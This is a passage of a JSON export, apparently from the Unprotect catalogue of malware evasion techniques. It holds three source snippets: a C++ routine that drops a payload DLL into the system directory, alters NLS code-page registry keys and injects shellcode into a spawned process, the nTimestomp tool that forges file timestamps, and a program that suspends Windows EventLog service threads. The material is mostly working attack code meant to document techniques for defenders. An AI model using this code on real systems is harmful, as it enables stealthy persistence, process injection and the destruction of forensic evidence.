NULL)\r\n\t{\r\n\t\tprintf(\"Could not find the dll, exiting...\\n\");\r\n\t\treturn false;\r\n\t}\r\n\tauto pBuffer = static_cast<BYTE*> (LockResource(hResLoaded));\r\n\tLPWSTR pathPayload = new wchar_t[MAX_PATH];\r\n\tGetSystemDirectoryW(pathPayload, MAX_PATH);\r\n\twcscat_s(pathPayload, MAX_PATH, L\"\\\\\");\r\n\twcscat_s(pathPayload, MAX_PATH, regObject->getStringBuffer(Index::DLL_NAME));\r\n\tregObject->setStringBuffer(pathPayload, Index::FULL_PAYLOAD_DLL_PATH);\r\n\tHANDLE hFile = CreateFileW(pathPayload, GENERIC_ALL, FILE_SHARE_DELETE,\r\n\t\tNULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, nullptr);\r\n\tdelete[] pathPayload;\r\n\tif (hFile == INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tif (GetLastError() == ERROR_FILE_EXISTS){\r\n\t\t\tstd::printf(\"File already exists, trying to set up registry.\\n\");\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\tstd::printf(\"Could not obtain HANDLE to the newly created FILE, last error is %d\\n\", GetLastError());\r\n\t\treturn false;\r\n\t}\r\n\tDWORD dwNumberBytesWritten;\r\n\tif (!WriteFile(hFile, pBuffer, dwSizeResource, &dwNumberBytesWritten, nullptr))\r\n\t{\r\n\t\tstd::printf(\"Could not write to file, last error is %d\\n\", GetLastError());\r\n\t\tCloseHandle(hFile);\r\n\t\treturn false;\r\n\t}\r\n\tCloseHandle(hFile);\r\n\treturn true;\r\n}\r\n\r\nvoid SelfSpawnPayload(DWORD dwCodePageId)\r\n{\r\n\tif (!GetConsoleWindow())\r\n\t{\r\n\t\tif (!AllocConsole()) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\tif (!SetConsoleOutputCP(dwCodePageId)) {\r\n\t\tstd::printf(\"Could not self test injection in SetConsoleOutputCP, last error is: 0x%x\\n\", GetLastError());\r\n\t\treturn;\r\n\t}\r\n\tif (!SetConsoleCP(dwCodePageId)) {\r\n\t\tstd::printf(\"Could not self test for SetConsoleCp: Last error is 0x%x\\n\", GetLastError());\r\n\t\treturn;\r\n\t}\r\n\tSetThreadUILanguage(0);\r\n}\r\n\r\nvoid InjectStagerToPayload(PRegistryKey regObject) {\r\n\tLPVOID lpCodePageID = (LPVOID)VirtualAllocEx(regObject->m_procInfo.hProcess, NULL, sizeof(DWORD), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n\tif (lpCodePageID == nullptr) {\r\n\t\tstd::printf(\"Could not allocate buffer in remote process\\n\");\r\n\t\treturn;\r\n\t}\r\n\tDWORD codePageID = regObject->getCodePageID(CodePageIDIndex::CodePageInt);\r\n\tif (!WriteProcessMemory(regObject->m_procInfo.hProcess, lpCodePageID, &codePageID, sizeof(DWORD), NULL)) {\r\n\t\tstd::printf(\"Could not create write memory with codePageID to inject\\n\");\r\n\t\treturn;\r\n\t}\r\n\t//Alloc and write shellcode, easiest way is VirtualAllocEx + WPM, but we have to pass arg, so I am not so sure how I am going to do that...\r\n\tLPVOID ShellcodeMemory = (LPVOID)VirtualAllocEx(regObject->m_procInfo.hProcess, NULL, lengthInject, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n\tif (ShellcodeMemory == nullptr) {\r\n\t\tstd::printf(\"Could not allocate buffer in remote process\\n\");\r\n\t\treturn;\r\n\t}\r\n\t//This will write the payload in the remote process.\r\n\tif (!WriteProcessMemory(regObject->m_procInfo.hProcess, ShellcodeMemory, &StubInject, lengthInject, NULL)) {\r\n\t\tstd::printf(\"Could not create write memory with codePageID to inject\\n\");\r\n\t\treturn;\r\n\t}\r\n\t//Need to change protection to EXECUTE_READ.\r\n\tDWORD dwProtection;\r\n\tif (!VirtualProtectEx(regObject->m_procInfo.hProcess, ShellcodeMemory, lengthInject, PAGE_EXECUTE_READ, &dwProtection)) {\r\n\t\tstd::printf(\"Could not change protection of memory for shellcode injection. Last error is 0x%x\\n\", GetLastError());\r\n\t\treturn;\r\n\t}\r\n\tHANDLE hThread = CreateRemoteThread(regObject->m_procInfo.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ShellcodeMemory, lpCodePageID, 0, nullptr);\r\n\tif (hThread == INVALID_HANDLE_VALUE) {\r\n\t\tstd::printf(\"Could not open a handle to the payload .exe\\n\");\r\n\t\treturn;\r\n\t}\r\n\tstd::printf(\"Sucessfully injected to remote process, where shellcodeMemory is %p, and the codePageID is %d\\n\", ShellcodeMemory, codePageID);\r\n}\r\n\r\n//Error of payload is at writing the payload.dll!\r\nbool OpenKeyForNlsModification(PRegistryKey regObject) noexcept\r\n{\r\n\tbool bResult = false; \r\n\tif (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regObject->getStringBuffer(Index::SUBKEY_KEY_VALUE),\r\n\t\t0, KEY_ALL_ACCESS, &regObject->hSubkeyNls) != EXIT_SUCCESS)\r\n\t{\r\n\t\tstd::printf(\"Could not open handle to subkey of codePage!, LastError [0x%x]\\n\", GetLastError());\r\n\t\treturn bResult;\r\n\t}\r\n\tif (!DropSystemDllPayload(regObject)) {\r\n\t\tstd::printf(\"Payload dll has been failed to drop main payload \\n\");\r\n\t\treturn bResult;\r\n\t}\r\n\tif (!IterateCodePageAndExtractProperId(regObject)){\r\n\t\tstd::printf(\"Could not iterate key for proper modification. Last error: [0x%x]\\n\", GetLastError());\r\n\t\treturn bResult;\r\n\t}\r\n\t//DWORD dwCodePageID = regObject->getCodePageID(CodePageIDIndex::CodePageInt);\r\n\t//std::printf(\"The code page ID is %d\\n\", dwCodePageID);\r\n\t//SelfSpawnPayload(dwCodePageID);\r\n\tif (CreateProcessToInject(&regObject->m_procInfo))\r\n\t{\r\n\t\tInjectStagerToPayload(regObject);\r\n\t}\r\n\r\n\treturn bResult;\r\n}"
        },
        {
            "id": 83,
            "language": {
                "id": 10,
                "label": "C",
                "code_class": "C"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/165/?format=api",
            "description": "Original source and author: https://github.com/limbenjamin/nTimetools",
            "plain_code": "// #######################################################################\r\n// ############ HEADER FILES\r\n// #######################################################################\r\n#include <windows.h>\r\n#include <stdio.h>\r\n#include <inttypes.h>\r\n#include <math.h>\r\n\r\ntypedef LONG NTSTATUS;\r\nchar* VERSION_NO = \"1.1\";\r\nHANDLE file = NULL;\r\n\r\n\r\ntypedef struct _IO_STATUS_BLOCK {\r\n\tunion {\r\n\t\tNTSTATUS Status;\r\n\t\tPVOID Pointer;\r\n\t};\r\n\tULONG_PTR Information;\r\n} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\r\n\r\ntypedef enum _FILE_INFORMATION_CLASS {\r\n\tFileBasicInformation = 4,\r\n\tFileStandardInformation = 5,\r\n\tFilePositionInformation = 14,\r\n\tFileEndOfFileInformation = 20,\r\n} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;\r\n\r\ntypedef struct _FILE_BASIC_INFORMATION {\r\n\tLARGE_INTEGER CreationTime;\t\t\t\t\t\t\t// Created             \r\n\tLARGE_INTEGER LastAccessTime;                       // Accessed    \r\n\tLARGE_INTEGER LastWriteTime;                        // Modifed\r\n\tLARGE_INTEGER ChangeTime;                           // Entry Modified\r\n\tULONG FileAttributes;\r\n} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;\r\n\r\ntypedef NTSTATUS(WINAPI *pNtSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);\r\ntypedef NTSTATUS(WINAPI *pNtQueryInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);\r\n\r\nHANDLE LoadFile(char *filename, FILE_BASIC_INFORMATION *fbi);\r\nVOID RetrieveFileBasicInformation(char *filename, FILE_BASIC_INFORMATION *fbi);\r\nDWORD SetFileMACE(HANDLE file, DWORD fileAttributes, char *mtimestamp, char *atimestamp, char *ctimestamp, char *btimestamp);\r\nLARGE_INTEGER ParseDateTimeInput(char *inputstring);\r\nVOID About();\r\nVOID Usage();\r\n\r\n// #######################################################################\r\n// ############ FUNCTIONS\r\n// #######################################################################\r\n\r\nVOID About() {\r\n\tprintf(\"nTimestomp, Version %s\\r\\n\", VERSION_NO);\r\n\tprintf(\"Copyright (C) 2019 Benjamin Lim\\r\\n\");\r\n\tprintf(\"Available for free from https://limbenjamin.com/pages/ntimetools\\r\\n\");\r\n\tprintf(\"\\r\\n\");\r\n}\r\n\r\nVOID Usage() {\r\n\tprintf(\"\\r\\n\");\r\n\tprintf(\"Usage: .\\\\nTimestomp.exe [Modified Date] [Last Access Date] [Last Write Date] [Creation Date]\\r\\n\");\r\n\tprintf(\"Date Format: yyyy-mm-dd hh:mm:ss.ddddddd\\r\\n\");\r\n\tprintf(\"\\r\\n\");\r\n}\r\n\r\nHANDLE LoadFile(char *filename, FILE_BASIC_INFORMATION *fbi) {\r\n\r\n\tHANDLE file = NULL;\r\n\tHMODULE ntdll = NULL;\r\n\r\n\tfile = CreateFile(filename, GENERIC_READ | GENERIC_WRITE | FILE_WRITE_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL);\r\n\tif (file == INVALID_HANDLE_VALUE) {\r\n\t\tprintf(\"Cannot open file: %S\\r\\n\", filename);\r\n\t\tUsage();\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* load ntdll and retrieve function pointer */\r\n\tntdll = GetModuleHandle(TEXT(\"ntdll.dll\"));\r\n\tif (ntdll == NULL) {\r\n\t\tprintf(\"Cannot load ntdll\\r\\n\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\tFreeLibrary(ntdll);\r\n\r\n\treturn file;\r\n}\r\n\r\n/* returns the handle on success or NULL on failure. this function opens a file and returns\r\nthe FILE_BASIC_INFORMATION on it. */\r\nVOID RetrieveFileBasicInformation(HANDLE file, FILE_BASIC_INFORMATION *fbi) {\r\n\r\n\tHMODULE ntdll = NULL;\r\n\tpNtQueryInformationFile NtQueryInformationFile = NULL;\r\n\tIO_STATUS_BLOCK iostatus;\r\n\r\n\t/* load ntdll and retrieve function pointer */\r\n\tntdll = GetModuleHandle(TEXT(\"ntdll.dll\"));\r\n\tif (ntdll == NULL) {\r\n\t\tprintf(\"Cannot load ntdll\\r\\n\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* retrieve current timestamps including file attributes which we want to preserve */\r\n\tNtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(ntdll, \"NtQueryInformationFile\");\r\n\tif (NtQueryInformationFile == NULL) {\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* obtain the current file information including attributes */\r\n\tif (NtQueryInformationFile(file, &iostatus, fbi, sizeof(FILE_BASIC_INFORMATION), 4) < 0) {\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* clean up */\r\n\tFreeLibrary(ntdll);\r\n\r\n}\r\n\r\nDWORD SetFileMACE(HANDLE file, DWORD fileAttributes, char *mtimestamp, char *atimestamp, char *ctimestamp, char *btimestamp) {\r\n\r\n\tHMODULE ntdll = NULL;\r\n\tpNtSetInformationFile NtSetInformationFile = NULL;\r\n\tIO_STATUS_BLOCK iostatus;\r\n\r\n\tFILE_BASIC_INFORMATION fbi;\r\n\tfbi.LastWriteTime = ParseDateTimeInput(mtimestamp);\r\n\tfbi.LastAccessTime = ParseDateTimeInput(atimestamp);\r\n\tfbi.ChangeTime = ParseDateTimeInput(ctimestamp);\r\n\tfbi.CreationTime = ParseDateTimeInput(btimestamp);\r\n\t\r\n\tfbi.FileAttributes = fileAttributes;\r\n\r\n\t/* load ntdll and retrieve function pointer */\r\n\tntdll = GetModuleHandle(TEXT(\"ntdll.dll\"));\r\n\tif (ntdll == NULL) {\r\n\t\tprintf(\"Cannot load ntdll\\r\\n\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\tNtSetInformationFile = (pNtSetInformationFile)GetProcAddress(ntdll, \"NtSetInformationFile\");\r\n\tif (NtSetInformationFile == NULL) {\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\tif (NtSetInformationFile(file, &iostatus, &fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) {\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* clean up */\r\n\tprintf(\"File timestamp successfully set\\r\\n\");\r\n\tFreeLibrary(ntdll);\r\n\r\n\treturn 0;\r\n}\r\n\r\nLARGE_INTEGER ParseDateTimeInput(char *inputstring) {\r\n\r\n\tSYSTEMTIME systemtime = { 0 };\r\n\tLARGE_INTEGER nanoTime = { 0 };\r\n\tFILETIME filetime;\r\n\tLARGE_INTEGER dec = { 0 };\r\n\tLARGE_INTEGER res = { 0 };\r\n\r\n\tif (sscanf_s(inputstring, \"%hu-%hu-%hu %hu:%hu:%hu.%7d\", &systemtime.wYear, &systemtime.wMonth, &systemtime.wDay, &systemtime.wHour, &systemtime.wMinute, &systemtime.wSecond, &dec.QuadPart) == 0) {\r\n\t\tprintf(\"Wrong Date Format\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* sanitize input */\r\n\r\n\tif (systemtime.wMonth < 1 || systemtime.wMonth > 12) {\r\n\t\tprintf(\"Wrong Date Format\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\tif (systemtime.wDay < 1 || systemtime.wDay > 31) {\r\n\t\tprintf(\"Wrong Date Format\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\tif (systemtime.wYear < 1601 || systemtime.wYear > 30827) {\r\n\t\tprintf(\"Wrong Date Format\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\tif (systemtime.wMinute < 0 || systemtime.wMinute > 59) {\r\n\t\tprintf(\"Wrong Date Format\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\tif (systemtime.wSecond < 0 || systemtime.wSecond > 59) {\r\n\t\tprintf(\"Wrong Date Format\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\tsystemtime.wMilliseconds = 0;\r\n\tif (SystemTimeToFileTime(&systemtime, &filetime) == 0) {\r\n\t\tprintf(\"Invalid filetime\\r\\n\");\r\n\t\tCloseHandle(file);\r\n\t\texit(1);\r\n\t}\r\n\r\n\tnanoTime.LowPart = filetime.dwLowDateTime;\r\n\tnanoTime.HighPart = filetime.dwHighDateTime;\r\n\r\n\tres.QuadPart = nanoTime.QuadPart + dec.QuadPart;\r\n\r\n\treturn res;\r\n}\r\n\r\n/* returns 0 on error, 1 on success. this function converts a LARGE_INTEGER to a SYSTEMTIME structure */\r\nDWORD ConvertLargeIntegerToLocalTime(SYSTEMTIME *localsystemtime, LARGE_INTEGER largeinteger) {\r\n\r\n\tFILETIME filetime;\r\n\tFILETIME localfiletime;\r\n\tDWORD result = 0;\r\n\r\n\tfiletime.dwLowDateTime = largeinteger.LowPart;\r\n\tfiletime.dwHighDateTime = largeinteger.HighPart;\r\n\r\n\tif (FileTimeToSystemTime(&filetime, localsystemtime) == 0) {\r\n\t\tprintf(\"Invalid filetime\\r\\n\");\r\n\t\texit(1);\r\n\t}\r\n\r\n\treturn 1;\r\n}\r\n\r\nint main(int argc, char* argv[]) {\r\n\r\n\tif (argc < 5) {\r\n\t\tUsage();\r\n\t\texit(1);\r\n\t}\r\n\r\n\tFILE_BASIC_INFORMATION fbi; \r\n\tstruct _SYSTEMTIME time = { 0 };\r\n\twchar_t filename[4096] = { 0 };\r\n\tchar str[256];\r\n\tCHAR lpVolumeNameBuffer[MAX_PATH + 1] = { 0 };\r\n\tCHAR lpFileSystemNameBuffer[MAX_PATH + 1] = { 0 };\r\n\tLARGE_INTEGER lpFileSizeHigh = { 0 };\r\n\r\n\tAbout();\r\n\tMultiByteToWideChar(CP_ACP, 0, argv[1], -1, filename, 4096);\r\n\tfile = LoadFile(filename, &fbi);\r\n\tGetVolumeInformationByHandleW(file, &lpVolumeNameBuffer, ARRAYSIZE(lpVolumeNameBuffer), 0, 0, 0, &lpFileSystemNameBuffer, ARRAYSIZE(lpVolumeNameBuffer));\r\n\tGetFileSizeEx(file, &lpFileSizeHigh);\r\n\r\n\tprintf(\"Filesystem type:\t\t%S\\r\\n\", lpFileSystemNameBuffer);\r\n\tprintf(\"Filename:\t\t\t%S\\r\\n\", filename);\r\n\tprintf(\"File size:\t\t\t%d\\r\\n\", lpFileSizeHigh.QuadPart);\r\n\tprintf(\"\\r\\n\");\r\n\r\n\tSetFileMACE(file, fbi.FileAttributes, argv[2], argv[3], argv[4], argv[5]);\r\n\tRetrieveFileBasicInformation(file, &fbi);\r\n\r\n\tprintf(\"\\r\\n\");\r\n\tConvertLargeIntegerToLocalTime(&time, fbi.LastWriteTime);\r\n\tif (fbi.LastWriteTime.QuadPart != 0) {\r\n\t\tsprintf_s(str, 256, \"%lld\", fbi.LastWriteTime.QuadPart);\r\n\t\tprintf(\"[M] Last Write Time:\t\t%04d-%02d-%02d %02d:%02d:%02d.%7s UTC\\r\\n\", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond, &str[11]);\r\n\t}\r\n\telse {\r\n\t\tprintf(\"[M] Last Write Time:\t\t%04d-%02d-%02d %02d:%02d:%02d.0000000 UTC\\r\\n\", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);\r\n\t}\r\n\tmemset(&time, 0, sizeof(time));\r\n\r\n\tConvertLargeIntegerToLocalTime(&time, fbi.LastAccessTime);\r\n\tif (fbi.LastAccessTime.QuadPart != 0) {\r\n\t\tsprintf_s(str, 256, \"%lld\", fbi.LastAccessTime.QuadPart);\r\n\t\tprintf(\"[A] Last Access Time:\t\t%04d-%02d-%02d %02d:%02d:%02d.%7s UTC\\r\\n\", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond, &str[11]);\r\n\t}\r\n\telse {\r\n\t\tprintf(\"[A] Last Access Time:\t\t%04d-%02d-%02d %02d:%02d:%02d.0000000 UTC\\r\\n\", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);\r\n\t}\r\n\tmemset(&time, 0, sizeof(time));\r\n\r\n\tConvertLargeIntegerToLocalTime(&time, fbi.ChangeTime);\r\n\tif (fbi.ChangeTime.QuadPart != 0) {\r\n\t\tsprintf_s(str, 256, \"%lld\", fbi.ChangeTime.QuadPart);\r\n\t\tprintf(\"[C] Metadata Change Time:\t%04d-%02d-%02d %02d:%02d:%02d.%7s UTC\\r\\n\", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond, &str[11]);\r\n\t}\r\n\telse {\r\n\t\tprintf(\"[C] Metadata Change Time:\t%04d-%02d-%02d %02d:%02d:%02d.0000000 UTC\\r\\n\", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);\r\n\t}\r\n\tmemset(&time, 0, sizeof(time));\r\n\r\n\tConvertLargeIntegerToLocalTime(&time, fbi.CreationTime);\r\n\tif (fbi.CreationTime.QuadPart != 0) {\r\n\t\tsprintf_s(str, 256, \"%lld\", fbi.CreationTime.QuadPart);\r\n\t\tprintf(\"[B] Creation Time:\t\t%04d-%02d-%02d %02d:%02d:%02d.%7s UTC\\n\", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond, &str[11]);\r\n\t}\r\n\telse {\r\n\t\tprintf(\"[B] Creation Time:\t\t%04d-%02d-%02d %02d:%02d:%02d.0000000 UTC\\n\", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);\r\n\t}\r\n\tprintf(\"\\r\\n\");\r\n\tCloseHandle(file);\r\n}"
        },
        {
            "id": 84,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/172/?format=api",
            "description": "Original source code: https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads",
            "plain_code": "#include <iostream>\r\n#include <Windows.h>\r\n#include <Psapi.h>\r\n#include <TlHelp32.h>\r\n#include <dbghelp.h>\r\n#include <winternl.h>\r\n\r\n#pragma comment(lib, \"DbgHelp\")\r\n\r\nusing myNtQueryInformationThread = NTSTATUS(NTAPI*)(\r\n\tIN HANDLE          ThreadHandle,\r\n\tIN THREADINFOCLASS ThreadInformationClass,\r\n\tOUT PVOID          ThreadInformation,\r\n\tIN ULONG           ThreadInformationLength,\r\n\tOUT PULONG         ReturnLength\r\n\t);\r\n\r\nint main()\r\n{\r\n\tHANDLE serviceProcessHandle;\r\n\tHANDLE snapshotHandle;\r\n\tHANDLE threadHandle;\r\n\r\n\tHMODULE modules[256] = {};\r\n\tSIZE_T modulesSize = sizeof(modules);\r\n\tDWORD modulesSizeNeeded = 0;\r\n\tDWORD moduleNameSize = 0;\r\n\tSIZE_T modulesCount = 0;\r\n\tWCHAR remoteModuleName[128] = {};\r\n\tHMODULE serviceModule = NULL;\r\n\tMODULEINFO serviceModuleInfo = {};\r\n\tDWORD_PTR threadStartAddress = 0;\r\n\tDWORD bytesNeeded = 0;\r\n\r\n\tmyNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA(\"ntdll\"), \"NtQueryInformationThread\"));\r\n\r\n\tTHREADENTRY32 threadEntry;\r\n\tthreadEntry.dwSize = sizeof(THREADENTRY32);\r\n\r\n\tSC_HANDLE sc = OpenSCManagerA(\".\", NULL, MAXIMUM_ALLOWED);\r\n\tSC_HANDLE service = OpenServiceA(sc, \"EventLog\", MAXIMUM_ALLOWED);\r\n\r\n\tSERVICE_STATUS_PROCESS serviceStatusProcess = {};\r\n\r\n\t# Get PID of svchost.exe that hosts EventLog service\r\n\tQueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded);\r\n\tDWORD servicePID = serviceStatusProcess.dwProcessId;\r\n\r\n\t# Open handle to the svchost.exe\r\n\tserviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID);\r\n\tsnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n\r\n\t# Get a list of modules loaded by svchost.exe\r\n\tEnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded);\r\n\tmodulesCount = modulesSizeNeeded / sizeof(HMODULE);\r\n\tfor (size_t i = 0; i < modulesCount; i++)\r\n\t{\r\n\t\tserviceModule = modules[i];\r\n\r\n\t\t# Get loaded module's name\r\n\t\tGetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName));\r\n\r\n\t\tif (wcscmp(remoteModuleName, L\"wevtsvc.dll\") == 0)\r\n\t\t{\r\n\t\t\tprintf(\"Windows EventLog module %S at %p\\n\\n\", remoteModuleName, serviceModule);\r\n\t\t\tGetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO));\r\n\t\t}\r\n\t}\r\n\r\n\t# Enumerate threads\r\n\tThread32First(snapshotHandle, &threadEntry);\r\n\twhile (Thread32Next(snapshotHandle, &threadEntry))\r\n\t{\r\n\t\tif (threadEntry.th32OwnerProcessID == servicePID)\r\n\t\t{\r\n\t\t\tthreadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID);\r\n\t\t\tNtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);\r\n\t\t\t\r\n\t\t\t# Check if thread's start address is inside wevtsvc.dll memory range\r\n\t\t\tif (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage)\r\n\t\t\t{\r\n\t\t\t\tprintf(\"Suspending EventLog thread %d with start address %p\\n\", threadEntry.th32ThreadID, threadStartAddress);\r\n\r\n\t\t\t\t# Suspend EventLog service thread\r\n\t\t\t\tSuspendThread(threadHandle);\r\n\t\t\t\tSleep(2000);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\treturn 0;\r\n}"
        }
    ]
}